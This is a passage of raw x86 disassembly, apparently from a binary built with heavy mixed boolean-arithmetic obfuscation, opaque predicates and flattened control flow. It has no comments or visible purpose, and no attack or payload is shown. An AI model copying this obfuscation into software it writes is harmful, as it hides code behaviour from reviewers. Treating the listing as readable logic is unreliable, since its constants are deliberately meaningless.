and edi, 0x10aaf3db
or edi, eax
mov ecx, dword [ebp - 0x14]
or ecx, 0xa9597334
mov dword [ebp - 0x14], ecx
mov eax, ecx
not eax
mov edx, eax
mov dword [ebp - 0x2c], eax
mov eax, ecx
xor eax, 0x4228081
and eax, ecx
mov ecx, edx
and ecx, 0x4228081
or ecx, eax
mov ebx, edi
xor ebx, 0x10aaf3db
xor edi, 0xef550c24
mov edx, edi
or edx, 0x23b0a5
and edx, 0x80e7f9bf
mov eax, ebx
and eax, 0x5a100440
or eax, edx
or esi, 0x80c4491a
and esi, 0x80e7f9bf
mov edx, dword [ebp - 0x30]
and edx, 0x25080200
or edx, esi
and ecx, 0x5eb68ddb
xor ecx, edx
xor ecx, eax
mov eax, edi
and eax, 0x230c2739
and ebx, 0xdcf3d8c6
or ebx, eax
mov eax, dword [ebp - 0x2c]
or edi, eax
and eax, 0x2040409
mov edx, eax
mov eax, dword [ebp - 0x14]
and eax, 0xdcf3d8c6
or eax, edx
xor eax, ebx
not edi
or edi, eax
mov eax, ecx
xor eax, 0x4000
xor ecx, 0x7fbfbfff
mov edx, ecx
and edx, 0xa3d5bd23
and eax, 0x5c2a42dc
or eax, edx
mov esi, edi
not esi
or ecx, edi
and edi, 0xa3d5bd23
and esi, 0x5c2a42dc
or esi, edi
xor esi, eax
not ecx
or ecx, esi
mov eax, dword [ebp - 0x28]
mov edx, eax
xor edx, 0x7c1ee6f9
and edx, eax
mov esi, eax
or eax, 0x83e11906
not esi
mov edi, eax
and edi, 0xd90a302a
and esi, 0x2414c6d1
or esi, edi
mov edi, edx
not edi
or eax, edi
and edi, 0xd90a302a
and edx, 0x26f5cfd5
or edx, edi
xor edx, esi
not eax
or eax, edx
mov edx, ecx
xor edx, 0x2812a6a9
xor ecx, 0x3610806
and ecx, 0x576d4856
and edx, 0xa892b7a9
or edx, ecx
xor edx, eax
mov eax, dword [ebp - 0x1c]
mov esi, eax
mov edi, dword [ebp - 0x24]
xor esi, edi
and esi, eax
mov ecx, dword [ebp - 0x18]
and ecx, 0x84bdc2e2
and eax, 0x7b423d1d
or eax, ecx
and edi, 0x84bdc2e2
mov ecx, edi
mov edi, dword [ebp - 0x20]
and edi, 0x7b423d1d
or edi, ecx
xor edi, eax
mov ecx, esi
not ecx
mov eax, ecx
and eax, 0xacbccdcc
and esi, 0x53433233
or esi, eax
mov eax, edi
not eax
or ecx, eax
and eax, 0xacbccdcc
and edi, 0x53433233
or edi, eax
mov eax, edx
xor eax, 0x576d4856
xor edi, esi
not ecx
or ecx, edi
mov esi, ecx
not esi
xor edx, 0xa892b7a9
and esi, edx
or edx, ecx
not edx
and ecx, eax
or ecx, esi
or ecx, edx
mov eax, ecx
not eax
mov edx, ecx
mov esi, ecx
xor esi, 0x9bba216e
and esi, ecx
mov edi, eax
and edi, 0x863a3d5
and ecx, 0xf79c5c2a
or ecx, edi
xor ecx, 0x715efae4
or ecx, eax
and eax, 0x939a0020
and edx, 0x820214e
or edx, eax
xor edx, 0x820214e
or esi, edx
mov edx, esi
xor edx, 0x64019010
xor esi, 0x1980120
and esi, 0x1dc4fa1
and edx, 0xfe23b05e
or edx, esi
mov esi, edx
xor esi, 0x8602a04e
mov eax, esi
or eax, 0x793d5931
mov ebx, eax
xor ebx, 0xd38d863b
and ebx, eax
mov edi, ebx
not edi
mov dword [ebp - 0x14], edi
and dword [ebp - 0x14], 0x408706b6
and ebx, 0x8e50a048
add ebx, dword [ebp - 0x14]
or esi, 0x7d7f79f5
or edi, esi
and esi, 0x40a71fb6
and edx, 0x82008008
or edx, esi
xor edx, ebx
mov esi, ecx
xor esi, 0xc0090422
not edi
or edi, edx
mov edx, ecx
xor edx, 0x20124044
and edx, 0x3396c25d
and esi, 0xcc693da2
or esi, edx
mov edx, eax
not edx
xor esi, edi
mov edi, edx
and edi, 0x6422488
and eax, 0x80a9d256
or eax, edi
mov edi, ecx
not edi
xor esi, 0x1396825d
or edx, edi
and edi, 0x7f562da9
and ecx, 0x80a9d256
or ecx, edi
xor ecx, eax
not edx
or edx, ecx
not edx
or edx, esi
mov esi, edx
xor esi, 0x793d5931
xor edx, 0x86c2a6ce
mov eax, esi
and esi, 0xbf6cc344
mov ecx, edx
and ecx, 0x40933cbb
or ecx, esi
xor ecx, 0x40933cbb
or ecx, edx
and edx, 0xeae2a94c
and eax, 0x151d56b3
or eax, edx
xor eax, 0xeae2a94c
not ecx
or ecx, eax
mov eax, ecx
not eax
mov edx, eax
and edx, 0x1012ac40
mov esi, ecx
and esi, 0x24
or esi, edx
xor esi, 0x24
mov edx, eax
and edx, 0x404c010b
or edx, esi
mov edi, edx
not edi
and ecx, 0x74f3b0c
mov esi, eax
and esi, 0xf8b0c4f3
or esi, ecx
xor esi, 0x57119663
and eax, 0x505ead6f
or eax, esi
mov ecx, eax
not ecx
mov esi, edx
xor esi, eax
and esi, edx
and edi, 0xfd7ce1a5
and edx, 0x20c4a
or edx, edi
and eax, 0xfd7ce1a5
and ecx, 0x2831e5a
or ecx, eax
xor ecx, edx
mov eax, esi
not eax
mov edx, ecx
not edx
mov edi, eax
and edi, 0xe1991bc7
and esi, 0x1046a428
or esi, edi
or eax, edx
and edx, 0xe1991bc7
and ecx, 0x1e66e438
or ecx, edx
xor ecx, esi
not eax
or eax, ecx
mov edx, eax
xor edx, 0xafa15290
xor eax, 0x505ead6f
mov ecx, eax
and ecx, 0x64173585
mov esi, edx
and esi, 0x9be8ca7a
or esi, ecx
mov ecx, esi
xor ecx, 0x4013580
xor esi, 0x18e0822a
and esi, 0x78f6822f
and ecx, 0x87097dd0
or ecx, esi
mov esi, ecx
xor esi, 0x3090550
xor ecx, 0x78f6822f
mov edi, ecx
and edi, 0x8c447aa8
and esi, 0x73bb8557
or esi, edi
or ecx, edx
and edx, 0x8c447aa8
and eax, 0x73bb8557
or eax, edx
xor eax, esi
not ecx
or ecx, eax
xor ecx, 0x708a6769
xor ecx, 0x8f759896
sete ah
setne dl
cmp dword [0x10045904], 0xa
setge ch
setl cl
mov dh, cl
xor dh, dl
xor dh, 1
and dh, cl
mov ebx, ecx
or bl, dl
mov byte [ebp - 0x14], bl
xor bl, 1
mov al, dh
xor al, 1
and dl, cl
or cl, ah
and ah, ch
or dl, ah
xor ch, dl
and ch, dl
mov ah, ch
xor ah, 1
mov bh, bl
xor bh, ah
and bh, bl
and ah, bl
and bl, al
and dh, byte [ebp - 0x14]
or dh, bl
mov bl, byte [ebp - 0x14]
or al, bl
xor al, 1
or al, dh
and ch, bl
or ah, ch
mov ch, bh
xor ch, 1
xor bh, ah
xor ah, 1
or ah, ch
xor ah, 1
or ah, bh
xor cl, 1
or cl, dl
mov ch, dl
xor ch, 1
mov dh, dl
and dh, ch
xor dh, 1
or dh, ch
xor dh, 1
or dh, dl
mov dl, dh
and dh, cl
or ch, cl
xor cl, 1
xor dl, 1
and dl, cl
xor ch, 1
or ch, dh
or ch, dl
mov cl, ch
xor cl, 1
mov edx, ecx
and dl, ch
xor cl, dl
xor dl, 1
or dl, ch
xor dl, 1
or dl, cl
mov ecx, edx
xor cl, 1
and cl, dl
xor cl, 1
mov ch, dl
xor ch, cl
or cl, dl
xor cl, 1
or cl, ch
mov edx, ecx
xor dl, 1
and cl, dl
xor cl, 1
mov ch, dl
xor ch, cl
or cl, dl
xor cl, 1
or cl, ch
xor cl, dl
and cl, dl
mov edx, ecx
xor dl, 1
and dl, ah
xor ah, 1
mov ch, ah
xor ch, cl
and ch, ah
and ah, cl
or ah, dl
mov cl, ch
xor cl, 1
mov dl, ah
xor dl, 1
xor ch, ah
or cl, dl
xor cl, 1
or cl, ch
xor cl, 1
xor dl, cl
mov ch, dl
and ch, ah
xor ch, 1
or cl, ah
or ch, dl
xor ch, 1
or ch, cl
mov dl, ch
xor dl, 1
and dl, ch
xor dl, 1
mov cl, ch
xor cl, dl
or dl, ch
xor dl, 1
or dl, cl
mov ah, dl
xor ah, 1
mov cl, ah
and cl, dl
xor cl, 1
or cl, dl
xor cl, 1
or cl, ah
mov edx, ecx
xor dl, 1
and cl, dl
xor cl, 1
mov ah, dl
xor ah, cl
or cl, dl
xor cl, 1
or cl, ah
mov edx, ecx
xor dl, 1
mov ch, cl
and ch, dl
xor ch, 1
mov ah, dl
xor ah, ch
or ch, dl
xor ch, 1
or ch, ah
mov ah, ch
xor ah, 1
and ah, ch
mov ch, ah
xor ch, 1
and dl, ch
or ch, cl
xor ch, 1
and ah, cl
or ah, dl
or ah, ch
mov dl, ah
xor dl, 1
mov cl, ah
and cl, dl
xor cl, 1
or cl, ah
xor cl, 1
or cl, dl
mov ah, cl
xor ah, 1
mov dl, ah
and dl, cl
xor dl, 1
or dl, cl
xor dl, 1
or dl, ah
mov ecx, edx
xor cl, 1
mov ah, al
xor ah, 1
mov dh, al
or dh, dl
and dl, ah
mov ch, al
and ch, cl
or ch, dl
xor ch, 1
mov dl, ch
xor dl, dh
or ch, dh
xor ch, 1
or ch, dl
mov dh, ch
xor dh, 1
mov dl, dh
and dl, ch
xor dh, dl
xor dl, 1
or dl, ch
xor dl, 1
or dl, dh
and al, ah
xor al, 1
mov ch, ah
xor ch, al
or al, ah
xor al, 1
or al, ch
xor al, cl
mov ecx, eax
and al, dl
mov ah, dl
xor ah, 1
xor cl, 1
mov ch, cl
or ch, ah
xor ch, 1
mov dh, ah
xor dh, cl
mov dl, dh
xor dl, 1
and dl, ah
or dl, ch
and dh, ah
and cl, ah
or cl, al
xor dh, 1
xor cl, 1
mov al, dh
xor al, cl
or cl, dh
xor cl, 1
or cl, al
mov eax, ecx
xor al, 1
mov ah, dl
mov ch, al
and ch, cl
xor ch, 1
or ch, cl
xor ch, 1
or ch, al
or al, dl
xor dl, 1
and ah, dl
xor ah, 1
mov dh, ah
xor dh, dl
or ah, dl
xor ah, 1
or ah, dh
xor ch, ah
xor dl, cl
xor al, 1
or al, dl
mov cl, al
xor cl, ch
test al, 1
mov eax, 0x8e1f481
mov edx, 0x8195dcf5
cmovne eax, edx
test ch, 1
cmove eax, edx
test cl, 1
mov ecx, 0x8e1f481
cmove eax, ecx
jmp 0x1000f9b0
mov eax, dword [ebp - 0x40]
mov eax, 0xf0b39f7d
jmp 0x1000f9b0
mov eax, dword [ebp - 0x44]
mov eax, dword [0x10045900]
lea esi, [eax + 1]
imul esi, eax
mov ecx, esi
not ecx
mov eax, ecx
mov edi, ecx
and eax, 0x404060c8
mov edx, esi
and edx, 0x18048832
or edx, eax
xor edx, 0x18048832
and ecx, esi
mov eax, esi
mov dword [ebp - 0x1c], esi
or ecx, edx
not ecx
or ecx, 0xa7bb1705
and eax, 0xfdcaa55d
mov ebx, edi
mov dword [ebp - 0x18], edi
mov edx, edi
and edx, 0x2355aa2
or edx, eax
xor edx, 0xa58e4da7
and ebx, 0x5844e8fa
or ebx, edx
mov eax, ecx
not eax
and ecx, 0xee5bec4c
mov esi, eax
and esi, 0x100400b2
or esi, ecx
mov edx, ebx
not edx
and ebx, 0xf2a04937
mov edi, edx
and edi, 0xd5fb6c8
or edi, ebx
mov ecx, esi
xor ecx, 0x11a413b3
xor esi, 0x1804a253
and esi, ecx
and eax, 0x800a0e0
or eax, esi
xor edi, 0xd5fb6c8
or ecx, edi
and edi, 0x774c4e1b
and edx, 0x88b3b1e4
or edx, edi
and eax, 0x7e4ceefb
xor eax, edx
mov edx, eax
xor edx, 0x1000000
xor eax, 0xfeffffff
mov esi, eax
and esi, 0x9aa0b728
and edx, 0x655f48d7
or edx, esi
mov esi, ecx
not esi
or eax, ecx
and ecx, 0x9aa0b728
and esi, 0x404448d2
or esi, ecx
xor esi, edx
not eax
or eax, esi
mov ecx, eax
xor ecx, 0xa7bb1705
xor eax, 0x5844e8fa
mov edx, eax
and edx, 0xab1337b2
and eax, ecx
and ecx, 0x54ecc84d
or ecx, edx
mov edx, ecx
xor edx, 0x14084049
xor ecx, 0xab1337b2
mov esi, ecx
and esi, 0x4af59c26
and edx, 0xb50a63d9
or edx, esi
mov esi, eax
not esi
or ecx, esi
and esi, 0x4af59c26
and eax, 0xb50a63d9
or eax, esi
xor eax, edx
not ecx
or ecx, eax
mov eax, ecx
or eax, 0xfb1a3022
mov edx, ecx
or edx, 0x82025678
not ecx
and edx, 0x82c25679
and ecx, 0x10084
or ecx, edx
mov edx, eax
xor edx, 0x88c120a7
and edx, eax
mov esi, edx
not esi
or eax, esi
and esi, 0x80c04679
and edx, 0x753d8984
or edx, esi
xor edx, ecx
not eax
or eax, edx
not edx
and edx, 0x753ccf58
and eax, 0x80c100a5
or eax, edx
mov ecx, eax
not ecx
and eax, 0xa86fe37f
and ecx, 0x57901c80
or ecx, eax
mov edi, dword [ebp - 0x1c]
mov eax, edi
or eax, 0x48eb8762
mov edx, eax
and edx, 0xf87485f2
mov esi, dword [ebp - 0x18]
and esi, 0x700780d
or esi, edx
mov edx, edi
xor edx, 0xb714789d
and edx, edi
mov edi, edx
not edi
or eax, edi
and edi, 0xf87485f2
and edx, 0x78b7a0d
or edx, edi
xor edx, esi
not eax
or eax, edx
mov edx, eax
xor edx, 0x48eb8762
xor eax, 0x87045001
and eax, 0x87c5d323
mov esi, edx
and esi, 0x783a2cdc
or esi, eax
mov eax, esi
xor eax, 0x783a2cdc
mov edi, esi
xor esi, 0xd6084f36
and esi, eax
and edx, 0xae3263ea
or edx, esi
xor edi, 0x4c5c301
xor edx, 0x552853c8
and edi, 0x4e5cfdd
or edi, edx
mov ebx, edi
mov eax, ecx
xor eax, 0x57901c80
xor ecx, 0xa86fe37f
mov edx, ecx
and edx, 0x75869d38
mov esi, eax
and esi, 0x8a7962c7
or esi, edx
mov edx, edi
not edx
mov dword [ebp - 0x30], edx
and edx, 0x1b197ad7
and edi, 0xe4e68528
or edi, edx
mov edx, esi
xor edx, 0x8a7962c7
mov dword [ebp - 0x14], edx
xor esi, 0x75869d38
mov dword [ebp - 0x20], esi
and esi, 0x9595b0c8
mov edx, dword [ebp - 0x14]
and edx, 0x6a6a4f37
or edx, esi
and ecx, 0x81949000
and eax, 0x140120c8
or eax, ecx
mov ecx, eax
xor ecx, 0x14000000
or ecx, 0x422a0f22
xor eax, 0x940000
and eax, 0x9520c8
and ecx, 0xd72a9f22
or ecx, eax
mov esi, edi
xor esi, 0x1b197ad7
mov dword [ebp - 0x24], esi
xor edi, 0xe4e68528
mov dword [ebp - 0x28], edi
mov eax, edi
and eax, 0x9595b0c8
and esi, 0x6a6a4f37
or esi, eax
mov eax, esi
xor eax, edi
and eax, esi
mov dword [ebp - 0x2c], eax
mov esi, dword [ebp - 0x30]
and esi, 0xec88f48e
mov eax, ebx
and eax, 0x13770b71
or eax, esi
xor eax, 0x86e2bbb9
and ebx, 0x6a6a4f37
or ebx, eax
mov dword [ebp - 0x30], ebx
not edx
or edx, dword [ebp - 0x20]
mov ebx, edx
not ebx
and edx, 0xfa454059
mov eax, ebx
and eax, 0x5babfa6
or eax, edx
mov esi, ecx
xor esi, 0xd72a9f22
xor ecx, 0x85160d9
and ecx, 0x9d597dd9
mov edi, esi
and edi, 0x848000
or edi, ecx
mov edx, eax
xor edx, 0x5babfa6
mov dword [ebp - 0x34], edx
mov ecx, eax
xor ecx, 0x422d1af0
and ecx, edx
and ebx, 0x4797a556
or ebx, ecx
mov ecx, edi
xor ecx, 0x62a68226
mov edx, edi
xor edx, 0x25312770
and edx, ecx
and esi, 0x595a040
or esi, edx
mov edx, esi
xor edx, esi
not edx
and edx, ebx
xor edx, esi
xor eax, 0xfa454059
mov esi, eax
and esi, 0x77c22fdb
mov ebx, dword [ebp - 0x34]
and ebx, 0x883dd024
or ebx, esi
xor edi, 0x9d597dd9
or eax, edi
and edi, 0x15802dc8
and ecx, 0x883dd024
or ecx, edi
xor ecx, ebx
not eax
or eax, ecx
mov ecx, edx
not ecx
mov esi, ecx
and esi, 0x84a66028
and edx, 0x7b599fd7
or edx, esi
mov esi, eax
not esi
or ecx, eax
and eax, 0x84a66028
and esi, 0x7b599fd7
or esi, eax
xor esi, edx
not ecx
or ecx, esi
mov edi, dword [ebp - 0x30]
mov edx, edi
not edx
mov esi, dword [ebp - 0x2c]
mov eax, esi
not eax
and edx, eax
or eax, edi
and edi, esi
or edi, edx
mov edx, edi
not edx
mov esi, edx
and esi, 0xf13ab643
and edi, 0xec549bc
or edi, esi
xor edi, eax
or edx, eax
xor edi, 0xec549bc
not edx
or edx, edi
mov eax, ecx
not eax
mov edi, eax
and edi, 0xe6af36f
mov esi, ecx
and esi, 0xf1950c90
or esi, edi
not edx
xor esi, 0xe6af36f
or esi, edx
xor edx, eax
and edx, ecx
mov eax, edx
not eax
mov ecx, eax
and ecx, 0x855e07cf
and edx, 0x7aa1f830
or edx, ecx
xor edx, esi
or eax, esi
xor edx, 0x7aa1f830
not eax
or eax, edx
mov edi, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x24]
and ecx, edi
mov edx, dword [ebp - 0x28]
or edi, edx
and edx, dword [ebp - 0x14]
or edx, ecx
mov esi, edx
not esi
mov ecx, esi
and ecx, 0x8c48611a
and edx, 0x73b79ee5
or edx, ecx
xor edx, edi
or esi, edi
xor edx, 0x73b79ee5
not esi
or esi, edx
mov edx, esi
not edx
mov ecx, eax
xor ecx, esi
and esi, 0xae52967e
and edx, 0x51ad6981
or edx, esi
and ecx, eax
xor edx, eax
mov eax, ecx
not eax
mov esi, eax
and esi, 0x7b05380c
and ecx, 0x84fac7f3
or ecx, esi
mov esi, edx
xor esi, 0x84528672
xor edx, 0x51ad6981
or eax, edx
and edx, 0x7b05380c
and esi, 0x84fac7f3
or esi, edx
xor esi, ecx
not eax
or eax, esi
mov ecx, eax
not ecx
mov esi, ecx
and esi, 0xb2a21af2
mov edx, eax
and edx, 0x4d5de50d
or edx, esi
mov esi, edx
xor esi, 0x48056409
xor edx, 0x12a00812
and edx, 0x17f88916
and esi, 0xe80776e9
or esi, edx
mov edx, esi
xor edx, 0x710a8
xor esi, 0x5500014
and esi, 0xed506655
and edx, 0x12af99aa
or edx, esi
mov esi, edx
xor esi, 0x4ffb248c
xor edx, 0x12af99aa
and edx, esi
mov esi, ecx
and esi, 0xa2ab42d9
and eax, 0x5d54bd26
or eax, esi
xor ecx, eax
and ecx, eax
mov eax, ecx
not eax
mov esi, edx
xor esi, eax
and eax, 0x2fa85b26
and ecx, 0xd057a4d9
or ecx, eax
and esi, edx
xor ecx, edx
mov edi, esi
not edi
mov eax, edi
and eax, 0x5705ad21
and esi, 0xa8fa52de
or esi, eax
mov eax, ecx
xor eax, 0x2fa85b26
xor ecx, 0xd057a4d9
or edi, ecx
and ecx, 0x5705ad21
and eax, 0xa8fa52de
or eax, ecx
xor eax, esi
not edi
or edi, eax
mov ecx, edi
xor ecx, 0x59b172fa
xor edi, 0xa64e8d05
mov eax, edi
and eax, 0xb8d23cbe
mov edx, ecx
and edx, 0x472dc341
or edx, eax
mov eax, edx
xor eax, 0x525c001
xor edx, 0xa0c0383e
and edx, 0xe2c83b7e
and eax, 0x1d37c481
or eax, edx
mov edx, eax
xor edx, 0xc054080
xor eax, 0x2882b48
and eax, 0x13baaf49
and edx, 0xec4550b6
or edx, eax
mov eax, edi
and eax, 0x9290f3c8
and ecx, 0x6d6f0c37
or ecx, eax
xor ecx, 0x6d6f0c37
xor edi, ecx
and edi, ecx
mov ecx, edx
xor ecx, 0xec4550b6
xor edx, 0xa80e48
and edx, 0x8ed4e48
mov eax, ecx
and eax, 0xf712b1b7
or eax, edx
mov dword [ebp - 0x14], eax
mov edx, eax
xor edx, 0xf712b1b7
mov dword [ebp - 0x20], edx
xor eax, 0xb012a9a3
and eax, edx
and ecx, 0x47001814
or ecx, eax
mov dword [ebp - 0x24], ecx
mov edx, edi
not edx
mov ebx, edi
xor ebx, 0xb8ffe7eb
mov esi, ebx
and esi, edx
mov eax, esi
not eax
mov ecx, eax
and ecx, 0x77c67cfe
and esi, 0x88398301
or esi, ecx
and ebx, edi
mov ecx, ebx
not ecx
or eax, ecx
and ecx, 0x77c67cfe
and ebx, 0x88398301
or ebx, ecx
xor ebx, esi
not eax
or eax, ebx
xor eax, dword [ebp - 0x24]
mov ebx, dword [ebp - 0x14]
xor ebx, 0x8ed4e48
mov ecx, ebx
and ecx, 0xfffa9498
mov esi, dword [ebp - 0x20]
and esi, 0x56b67
or esi, ecx
or ebx, edi
mov ecx, ebx
and edi, 0xfffa9498
and edx, 0x56b67
or edx, edi
xor edx, esi
not ecx
or ecx, edx
not ecx
or ecx, eax
mov dword [ebp - 0x14], ecx
mov edi, dword [ebp - 0x18]
mov ecx, edi
and ecx, 0x785e490c
mov esi, dword [ebp - 0x1c]
mov eax, esi
and eax, 0x87a1b6f3
or eax, ecx
mov ecx, eax
xor ecx, 0x81008490
xor eax, 0x58080c
mov edx, eax
or edx, 0x60820140
and edx, 0x62e32b47
and ecx, 0x81188498
or ecx, edx
mov edx, esi
xor edx, 0x8379ae9f
and edx, esi
mov ebx, esi
mov esi, edx
not esi
or eax, esi
and esi, 0x62e32b47
and edx, 0x9d1cd4b8
or edx, esi
xor edx, ecx
not eax
or eax, edx
not edx
and edx, 0x74021000
and eax, 0x8070ae94
or eax, edx
mov edx, eax
not edx
mov ecx, eax
and ecx, 0x4430ba10
and edx, 0xb042058f
or edx, ecx
mov esi, edi
mov ecx, edi
and ecx, 0xf472be94
and ebx, 0xb8d416b
or ebx, ecx
xor esi, ebx
and esi, ebx
mov ebx, esi
mov ecx, edx
xor ecx, 0x4fbdfa70
xor edx, 0x95d3b892
and edx, ecx
mov esi, edx
not esi
mov edi, esi
and edi, 0x487036f6
and edx, 0xb4828800
or edx, edi
mov edi, ecx
or edi, 0x2591bd1d
or esi, edi
and edi, 0x497137ff
and eax, 0x90020000
or eax, edi
xor eax, edx
not esi
or esi, eax
mov eax, ebx
mov edx, ebx
xor edx, 0x2591bd1d
and edx, ebx
mov edi, ebx
or eax, 0xda6e42e2
not edi
mov ebx, eax
and ebx, 0xb2d1d431
or ecx, edi
and edi, 0x500290c
or edi, ebx
mov ebx, edx
not ebx
or eax, ebx
and ebx, 0xb2d1d431
and edx, 0x4d2e2bce
or edx, ebx
xor edx, edi
not eax
or eax, edx
xor eax, esi
not ecx
or ecx, eax
mov ebx, dword [ebp - 0x14]
mov edx, ebx
not edx
mov eax, edx
mov edi, edx
mov dword [ebp - 0x20], edx
and eax, 0xe3e76a9f
mov edx, ebx
and edx, 0x1c189560
or edx, eax
mov eax, edx
xor eax, 0x14109100
xor edx, 0xe3e76a9f
mov esi, edx
and esi, 0xcbae6ef2
and eax, 0x3451910d
or eax, esi
mov esi, edi
and esi, ebx
mov edi, esi
not edi
or edx, edi
and edi, 0xcbae6ef2
and esi, 0x3451910d
or esi, edi
xor esi, eax
not edx
or edx, esi
mov ebx, ecx
xor ebx, 0xb8d416b
mov eax, ecx
xor eax, 0xf472be94
xor ecx, 0x183ff2da
and ecx, ebx
mov edi, eax
and edi, 0x577c27c4
mov esi, ebx
and ebx, 0xa883d83b
or ebx, edi
not ebx
or ebx, eax
and eax, 0x1022b080
and esi, 0x3900331
or esi, eax
xor esi, 0x3900331
or ecx, esi
mov esi, ecx
xor esi, 0xec4d4c4e
mov dword [ebp - 0x24], esi
xor ecx, 0x13b2b3b1
mov eax, ecx
and eax, 0xa883d83b
and esi, 0x577c27c4
or esi, eax
mov dword [ebp - 0x28], esi
mov eax, esi
xor eax, ecx
mov dword [ebp - 0x18], eax
mov eax, edx
xor eax, ecx
and eax, edx
mov dword [ebp - 0x2c], eax
and ecx, edx
mov dword [ebp - 0x30], ecx
mov eax, edx
not edx
mov dword [ebp - 0x34], edx
mov esi, edx
or esi, 0x8081982b
and eax, 0x437c03c4
and esi, 0x9481bc2b
or esi, eax
mov edi, dword [ebp - 0x20]
mov eax, edi
and eax, 0x577c27c4
mov ecx, dword [ebp - 0x14]
and ecx, 0xa883d83b
or ecx, eax
xor edi, ecx
and edi, ecx
mov eax, dword [ebp - 0x28]
and dword [ebp - 0x18], eax
mov eax, esi
xor eax, 0x9481bc2b
mov edx, edi
not edx
mov ecx, eax
xor ecx, edx
and ecx, eax
xor esi, 0x407a4390
and esi, 0x40faef99
and eax, 0x17040044
or eax, esi
and edx, 0x40faef99
and edi, 0xbf051066
or edi, edx
xor edi, eax
mov eax, ecx
not eax
mov edx, eax
and edx, 0x1df4d4c0
and ecx, 0x42082304
or ecx, edx
mov edx, edi
not edx
or eax, edx
and edx, 0x1df4d4c0
and edi, 0xe20b2b3f
or edi, edx
xor edi, ecx
not eax
or eax, edi
mov dword [ebp - 0x1c], ebx
mov ecx, ebx
xor ecx, 0x6e87fcb4
mov esi, ecx
and esi, ebx
mov edx, esi
not edx
mov edi, edx
and edi, 0x64ae42bf
and esi, 0x9b51bd40
or esi, edi
mov ebx, dword [ebp - 0x1c]
not ebx
and ecx, ebx
mov edi, ecx
not edi
or edx, edi
and edi, 0x64ae42bf
and ecx, 0x9b51bd40
or ecx, edi
xor ecx, esi
not edx
or edx, ecx
mov edi, dword [ebp - 0x18]
mov ecx, edi
not ecx
mov esi, edi
and esi, 0xf736e19a
and ecx, 0x8c91e65
or ecx, esi
xor edx, edi
or edi, ebx
and ebx, 0xf736e19a
mov esi, dword [ebp - 0x1c]
and esi, 0x8c91e65
or esi, ebx
xor esi, ecx
not edi
or edi, esi
mov ecx, edx
xor ecx, 0x81700200
xor edx, 0x6e87fcb4
mov esi, edx
and esi, 0x5c8fb5fb
and ecx, 0xa3704a04
or ecx, esi
xor ecx, edi
or edx, edi
xor ecx, 0xa3704a04
not edx
or edx, ecx
mov ecx, eax
not ecx
mov esi, ecx
and esi, 0x8edaaabd
and eax, 0x71255542
or eax, esi
mov esi, edx
not esi
xor eax, esi
xor eax, 0x71255542
and eax, edx
and esi, 0xe70ee1d2
and edx, 0x18f11e2d
or edx, esi
xor edx, 0xe70ee1d2
or edx, ecx
mov esi, eax
not esi
mov ecx, esi
and ecx, 0xd31c8b40
and eax, 0x2ce374bf
or eax, ecx
xor eax, edx
or esi, edx
xor eax, 0x2ce374bf
not esi
or esi, eax
mov eax, dword [ebp - 0x34]
and eax, dword [ebp - 0x24]
mov edx, dword [ebp - 0x30]
or edx, eax
mov edi, dword [ebp - 0x2c]
mov eax, edi
not eax
mov ecx, eax
and ecx, 0x9736ac0
and edi, 0xf68c953f
or edi, ecx
mov ecx, edx
not ecx
or eax, ecx
and ecx, 0x9736ac0
and edx, 0xf68c953f
or edx, ecx
xor edx, edi
not eax
or eax, edx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0xebf70d71
mov edi, eax
and edi, 0x1408f28e
or edi, edx
mov edx, edi
xor edx, 2
xor edi, 0xc20911
or ecx, 0xc20b11
or edi, 0x1820b484
and edi, 0x18e2bf95
and edx, 0x63000042
or edx, edi
and ecx, 0x18e2bf95
and eax, 0x841d4028
or eax, ecx
xor eax, edx
mov ecx, eax
xor ecx, 0x9c3df4ac
xor eax, 0x63c20b53
mov edx, esi
xor edx, eax
and edx, esi
and eax, 0x3cdb2a82
and ecx, 0xc324d57d
or ecx, eax
xor ecx, esi
xor ecx, 0x3cdb2a82
or ecx, edx
mov eax, ecx
not eax
and ecx, 0x6e1e66f0
and eax, 0x91e1990f
or eax, ecx
mov ecx, eax
xor ecx, 0x4e1a62b0
xor eax, 0x81c0090e
and ecx, 0x5e3bf2b1
and eax, 0xa1c40d4e
or eax, ecx
mov ecx, eax
xor ecx, 0x81400948
xor eax, 0x1a123021
and eax, 0x3a963427
and ecx, 0xc569cbd8
or ecx, eax
mov eax, ecx
xor eax, 0x2063427
xor ecx, 0xc0418148
and ecx, 0xf8d18148
and eax, 0x72e7eb7
or eax, ecx
mov ecx, eax
xor ecx, 0x10100048
xor eax, 0x72e7eb7
mov edx, eax
and edx, 0xecc9afa0
and ecx, 0x1336505f
or ecx, edx
xor ecx, 0x1336505f
or ecx, eax
xor ecx, 0x655974b0
xor ecx, 0x9aa68b4f
setne bl
sete dl
mov byte [ebp - 0x1c], dl
cmp dword [0x10045904], 0xa
setl byte [ebp - 0x18]
setge ah
mov cl, ah
inc cl
mov al, cl
and al, ah
xor al, 1
or al, ah
xor al, 1
or al, cl
mov ch, al
xor ch, 1
and ch, ah
and al, cl
or al, ch
mov ecx, eax
xor cl, 1
mov ch, al
and ch, cl
xor ch, 1
or ch, cl
xor ch, 1
or ch, al
xor ch, 1
mov al, ch
xor al, cl
or ch, cl
xor ch, 1
or ch, al
xor ch, 1
mov al, ah
or al, ch
mov cl, al
xor cl, 1
xor ch, ah
or cl, ch
xor cl, 1
and ch, al
mov al, cl
xor al, ch
or ch, cl
xor ch, 1
or ch, al
xor al, 1
mov cl, al
xor cl, ch
or ch, al
xor ch, 1
or ch, cl
mov al, dl
mov byte [ebp - 0x14], bl
xor al, bl
mov cl, al
xor cl, 1
mov dh, cl
and dh, al
xor dh, 1
or dh, al
xor dh, 1
or dh, cl
mov al, dh
and al, dl
xor dh, 1
and dh, bl
or dh, al
mov bl, ch
xor bl, 1
mov dl, dh
xor dl, 1
mov bh, dl
and bh, dh
mov al, dl
xor al, bh
xor bh, 1
or bh, dh
xor bh, 1
or al, bh
mov dh, ch
and dh, bl
xor dh, 1
or dh, bl
xor dh, 1
or dh, ch
xor al, 1
mov cl, al
xor cl, dh
xor dh, 1
or dh, al
mov al, cl
xor al, dh
or dh, cl
xor dh, 1
or dh, al
or bh, dl
mov al, bh
xor al, 1
mov cl, al
and cl, bh
xor al, cl
xor cl, 1
or cl, bh
xor cl, 1
or cl, al
mov al, cl
xor al, 1
and cl, ch
or ch, al
and al, bl
mov bh, dh
xor bh, 1
or al, cl
xor al, 1
mov cl, al
xor cl, ch
or al, ch
xor al, 1
or al, cl
mov ch, al
xor ch, 1
and bh, al
